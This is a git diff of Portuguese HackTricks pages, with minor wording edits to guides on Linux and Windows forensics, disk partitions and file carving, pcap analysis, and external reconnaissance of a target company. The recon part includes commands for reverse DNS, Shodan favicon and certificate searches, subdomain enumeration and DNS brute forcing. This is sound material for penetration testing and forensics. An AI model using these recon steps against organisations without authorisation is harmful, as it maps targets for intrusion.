O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware:
O Linux emprega vários arquivos para executar automaticamente programas na entrada do usuário, potencialmente abrigando malware:
- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados na entrada.
- **/etc/rc.local**: Executa após todos os serviços do sistema terem sido iniciados, marcando o fim da transição para um ambiente multiusuário.
## Examinar Logs
@ -306,7 +306,7 @@ Alguns aplicativos também geram seus próprios logs:
### Logs de USB
[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python 3 puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
[**usbrip**](https://github.com/snovvcrash/usbrip) é um pequeno software escrito em Python puro que analisa arquivos de log do Linux (`/var/log/syslog*` ou `/var/log/messages*` dependendo da distribuição) para construir tabelas de histórico de eventos USB.
É interessante **saber todos os USBs que foram usados** e será mais útil se você tiver uma lista autorizada de USBs para encontrar "eventos de violação" (o uso de USBs que não estão dentro dessa lista).
@ -329,7 +329,7 @@ Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/u
Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta ao sudo.\
Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ para privilégios inesperados concedidos a usuários.\
Finalmente, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
Por fim, procure por contas com **sem senhas** ou **senhas facilmente adivinháveis**.
## Examinar Sistema de Arquivos
@ -375,16 +375,16 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), excluídos (`D`) ou modificados (`M`).
- **Opções de filtro** (`--diff-filter`) ajudam a restringir a mudanças específicas, como arquivos adicionados (`A`), deletados (`D`) ou modificados (`M`).
- `A`: Arquivos adicionados
- `C`: Arquivos copiados
- `D`: Arquivos excluídos
- `D`: Arquivos deletados
- `M`: Arquivos modificados
- `R`: Arquivos renomeados
- `T`: Mudanças de tipo (por exemplo, arquivo para symlink)
- `U`: Arquivos não mesclados
- `X`: Arquivos desconhecidos
- `B`: Arquivos corrompidos
- `B`: Arquivos quebrados
## Referências

26
src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
View File

@ -5,19 +5,19 @@
## Partições
Um disco rígido ou um **SSD pode conter diferentes partições** com o objetivo de separar dados fisicamente.\
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Assim, cada tamanho de partição precisa ser um múltiplo desse tamanho.
A **unidade mínima** de um disco é o **setor** (normalmente composto por 512B). Portanto, cada tamanho de partição precisa ser um múltiplo desse tamanho.
### MBR (master Boot Record)
Ele é alocado no **primeiro setor do disco após os 446B do código de inicialização**. Este setor é essencial para indicar ao PC o que e de onde uma partição deve ser montada.\
Permite até **4 partições** (no máximo **apenas 1** pode ser ativa/**inicializável**). No entanto, se você precisar de mais partições, pode usar **partições estendidas**. O **último byte** deste primeiro setor é a assinatura do registro de inicialização **0x55AA**. Apenas uma partição pode ser marcada como ativa.\
MBR permite **máx 2.2TB**.
O MBR permite **máx 2.2TB**.
![](<../../../images/image (350).png>)
![](<../../../images/image (304).png>)
Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir que o Windows inicialize (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do Windows** (se o Windows estiver em uso). A letra da unidade lógica do disco rígido depende da Assinatura do Disco do Windows. Alterar essa assinatura pode impedir o Windows de inicializar (ferramenta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (310).png>)
@ -39,17 +39,17 @@ Dos **bytes 440 a 443** do MBR, você pode encontrar a **Assinatura do Disco do
| 0 (0x00) | 1 (0x01) | Sinalizador ativo (0x80 = inicializável) |
| 1 (0x01) | 1 (0x01) | Cabeça de início |
| 2 (0x02) | 1 (0x01) | Setor de início (bits 0-5); bits superiores do cilindro (6-7) |
| 3 (0x03) | 1 (0x01) | Cilindro de início 8 bits mais baixos |
| 3 (0x03) | 1 (0x01) | Cilindro de início, 8 bits mais baixos |
| 4 (0x04) | 1 (0x01) | Código do tipo de partição (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeça final |
| 6 (0x06) | 1 (0x01) | Setor final (bits 0-5); bits superiores do cilindro (6-7) |
| 7 (0x07) | 1 (0x01) | Cilindro final 8 bits mais baixos |
| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits mais baixos |
| 8 (0x08) | 4 (0x04) | Setores precedendo a partição (little endian) |
| 12 (0x0C) | 4 (0x04) | Setores na partição |
Para montar um MBR no Linux, você primeiro precisa obter o deslocamento inicial (você pode usar `fdisk` e o comando `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
E então use o seguinte código
```bash
@ -64,7 +64,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### GPT (Tabela de Partição GUID)
A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distinta por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
A Tabela de Partição GUID, conhecida como GPT, é favorecida por suas capacidades aprimoradas em comparação ao MBR (Registro de Inicialização Mestre). Distintiva por seu **identificador único global** para partições, a GPT se destaca de várias maneiras:
- **Localização e Tamanho**: Tanto a GPT quanto a MBR começam no **setor 0**. No entanto, a GPT opera em **64 bits**, contrastando com os 32 bits da MBR.
- **Limites de Partição**: A GPT suporta até **128 partições** em sistemas Windows e acomoda até **9,4ZB** de dados.
@ -159,7 +159,7 @@ A unidade básica de armazenamento do sistema de arquivos é um **cluster, geral
Uma limitação significativa em todas as versões do FAT é o **tamanho máximo de arquivo de 4GB**, imposto pelo campo de 32 bits usado para armazenamento do tamanho do arquivo.
Os componentes principais do diretório raiz, particularmente para FAT12 e FAT16, incluem:
Os componentes-chave do diretório raiz, particularmente para FAT12 e FAT16, incluem:
- **Nome do Arquivo/Pasta** (até 8 caracteres)
- **Atributos**
@ -169,7 +169,7 @@ Os componentes principais do diretório raiz, particularmente para FAT12 e FAT16
### EXT
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e geralmente são usados para as **demais partições**.
**Ext2** é o sistema de arquivos mais comum para **partições que não fazem journaling** (**partições que não mudam muito**) como a partição de inicialização. **Ext3/4** são **journaling** e são usados geralmente para as **demais partições**.
## **Metadados**
@ -199,11 +199,11 @@ file-data-carving-recovery-tools.md
### **File Carving**
**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivos**, baseadas em **estruturas** de tipos de arquivos e baseadas no **conteúdo** em si.
**File carving** é uma técnica que tenta **encontrar arquivos no volume de dados**. Existem 3 maneiras principais pelas quais ferramentas como essa funcionam: **Baseadas em cabeçalhos e rodapés de tipos de arquivo**, baseadas em **estruturas** de tipos de arquivo e baseadas no **conteúdo** em si.
Observe que essa técnica **não funciona para recuperar arquivos fragmentados**. Se um arquivo **não estiver armazenado em setores contíguos**, então essa técnica não será capaz de encontrá-lo ou pelo menos parte dele.
Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivos que deseja pesquisar.
Existem várias ferramentas que você pode usar para file carving indicando os tipos de arquivo que deseja pesquisar.
{{#ref}}
file-data-carving-recovery-tools.md
@ -212,7 +212,7 @@ file-data-carving-recovery-tools.md
### Carving de Fluxo de Dados
Carving de Fluxo de Dados é semelhante ao File Carving, mas **em vez de procurar arquivos completos, procura fragmentos interessantes** de informação.\
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica irá buscar por URLs.
Por exemplo, em vez de procurar um arquivo completo contendo URLs registradas, essa técnica buscará URLs.
{{#ref}}
file-data-carving-recovery-tools.md
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
### Exclusão Segura
Obviamente, existem maneiras de **"excluir" arquivos e parte dos logs sobre eles de forma "segura"**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
Obviamente, existem maneiras de **"excluir com segurança" arquivos e parte dos logs sobre eles**. Por exemplo, é possível **sobrescrever o conteúdo** de um arquivo com dados aleatórios várias vezes e, em seguida, **remover** os **logs** do **$MFT** e **$LOGFILE** sobre o arquivo, e **remover as Cópias de Sombra do Volume**.\
Você pode notar que mesmo realizando essa ação, pode haver **outras partes onde a existência do arquivo ainda está registrada**, e isso é verdade, e parte do trabalho do profissional de forense é encontrá-las.
## Referências

17
src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
View File

@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> [!TIP]
> Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais novo e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, a fim de trabalhá-lo em algumas outras ferramentas.
## Ferramentas online para pcaps
- Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Se o cabeçalho do seu pcap estiver **quebrado**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
- Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
- **Análise completa de pcap a partir do navegador em** [**https://apackets.com/**](https://apackets.com/)
- **Análise completa de pcap do navegador em** [**https://apackets.com/**](https://apackets.com/)
## Extrair Informações
@ -18,7 +18,7 @@ As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
### Wireshark
> [!NOTE]
> [!TIP]
> **Se você vai analisar um PCAP, basicamente deve saber como usar o Wireshark**
Você pode encontrar algumas dicas do Wireshark em:
@ -29,7 +29,7 @@ wireshark-tricks.md
### [**https://apackets.com/**](https://apackets.com/)
Análise de pcap a partir do navegador.
Análise de pcap do navegador.
### Xplico Framework
@ -49,7 +49,7 @@ sudo apt-get install xplico
```
Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça o upload** do arquivo pcap.
Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça o upload do arquivo pcap**.
### NetworkMiner
@ -84,6 +84,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
Usar técnicas comuns de carving pode ser útil para extrair arquivos e informações do pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
@ -121,6 +122,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
Verifique se você consegue encontrar alguma impressão digital de um malware conhecido:
{{#ref}}
../malware-analysis.md
{{#endref}}
@ -200,14 +202,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## Outras dicas de análise de pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}

13
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md
View File

@ -1,39 +1,50 @@
# Truques Específicos de Software/Tipo de Arquivo
{{#include ../../../banners/hacktricks-training.md}}
Aqui você pode encontrar truques interessantes para tipos de arquivos e/ou software específicos:
Aqui você pode encontrar truques interessantes para tipos de arquivo e/ou software específicos:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}

21
src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
View File

@ -6,7 +6,7 @@
### Notificações do Windows 10
No caminho `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o aniversário do Windows).
No caminho `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o Aniversário do Windows).
Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification` com todas as notificações (em formato XML) que podem conter dados interessantes.
@ -248,11 +248,11 @@ Algumas ferramentas são úteis para analisar os arquivos de registro:
### Recuperando Elemento Excluído
Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que ocupa seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
### Último Tempo de Escrita
Cada Par-Chave contém um **timestamp** indicando a última vez que foi modificado.
Cada Key-Value contém um **timestamp** indicando a última vez que foi modificado.
### SAM
@ -262,6 +262,7 @@ Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, o úl
### Entradas Interessantes no Registro do Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
@ -270,7 +271,7 @@ interesting-windows-registry-keys.md
### Processos Básicos do Windows
Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos.
Em [este post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos.
### Aplicativos Recentes do Windows
@ -278,11 +279,11 @@ Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\S
### BAM (Moderador de Atividade em Segundo Plano)
Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro).
Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar as informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e **a que horas** foram executados (a hora está dentro do valor de Dados do registro).
### Windows Prefetch
Prefetching é uma técnica que permite que um computador silenciosamente **busque os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo** para que os recursos possam ser acessados mais rapidamente.
Prefetching é uma técnica que permite que um computador **busque silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente.
O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rápido. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10.
@ -296,9 +297,9 @@ Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](ht
```
![](<../../../images/image (315).png>)
### Superprefetch
### Superfetch
**Superprefetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
**Superfetch** tem o mesmo objetivo que o prefetch, **carregar programas mais rápido** prevendo o que será carregado a seguir. No entanto, não substitui o serviço de prefetch.\
Este serviço gerará arquivos de banco de dados em `C:\Windows\Prefetch\Ag*.db`.
Nestes bancos de dados, você pode encontrar o **nome** do **programa**, **número** de **execuções**, **arquivos** **abertos**, **volume** **acessado**, **caminho** **completo**, **períodos** e **timestamps**.
@ -377,7 +378,7 @@ Você pode encontrá-los no registro em `SYSTEM\ControlSet001\Services`. Você p
Os aplicativos instalados podem ser encontrados em `\ProgramData\Microsoft\Windows\AppRepository\`\
Este repositório possui um **log** com **cada aplicativo instalado** no sistema dentro do banco de dados **`StateRepository-Machine.srd`**.
Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "Application ID", "PackageNumber" e "Display Name". Essas colunas têm informações sobre aplicativos pré-instalados e instalados e podem indicar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais.
Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "Application ID", "PackageNumber" e "Display Name". Essas colunas têm informações sobre aplicativos pré-instalados e instalados e pode-se verificar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais.
Também é possível **encontrar aplicativos instalados** dentro do caminho do registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
E **aplicativos desinstalados** em: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
@ -463,7 +464,7 @@ Os detalhes do evento, incluindo códigos de status e substatus, fornecem mais i
### Recuperando Eventos do Windows
Para aumentar as chances de recuperar Eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
Para aumentar as chances de recuperar Eventos do Windows deletados, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
### Identificando Ataques Comuns via Eventos do Windows

76
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -10,23 +10,23 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
1. Encontrar as aquisições da empresa principal, isso nos dará as empresas dentro do escopo.
2. Encontrar o ASN (se houver) de cada empresa, isso nos dará os intervalos de IP pertencentes a cada empresa.
3. Usar consultas de whois reverso para procurar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente).
4. Usar outras técnicas como filtros `org` e `ssl` do shodan para procurar outros ativos (o truque `ssl` pode ser feito recursivamente).
3. Usar consultas de whois reverso para buscar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente).
4. Usar outras técnicas como filtros `org` e `ssl` do shodan para buscar outros ativos (o truque `ssl` pode ser feito recursivamente).
### **Aquisições**
Primeiro de tudo, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
Primeiramente, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
> Ok, neste ponto você deve conhecer todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
### **ASNs**
Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
Um **AS** consiste em **blocos** de **endereços IP** que têm uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
Um **AS** consiste em **blocos** de **endereços IP** que têm uma política definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
É interessante descobrir se a **empresa atribuiu algum ASN** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\
É interessante descobrir se a **empresa tem algum ASN atribuído** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\
Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Dependendo da região da empresa, esses links podem ser úteis para coletar mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
```bash
@ -70,7 +70,7 @@ Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada
### **DNS Reverso**
Como você encontrou todos os intervalos de IP dos domínios, pode tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor dns da vítima ou algum servidor dns bem conhecido (1.1.1.1, 8.8.8.8)
Como você encontrou todos os intervalos de IP dos domínios, pode tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -150,12 +150,12 @@ Pesquise nas páginas da web **strings que podem ser compartilhadas entre difere
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
renovar todos os certificados de domínio no servidor. Isso significa que, mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informações de Mail DMARC
Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios compartilhando as mesmas informações de dmarc**.
Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios que compartilham as mesmas informações de dmarc**.
### **Tomada Passiva**
@ -171,15 +171,15 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem
Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS.
Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e então procurar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
### **Procurando vulnerabilidades**
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
_Observe que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico.
- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um determinado domínio.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -319,11 +319,11 @@ Este projeto oferece **gratuitamente todos os subdomínios relacionados a progra
Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Brute force**
### **Força bruta de DNS**
Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -331,11 +331,11 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
E também IPs de bons resolvedores DNS. Para gerar uma lista de resolvedores DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
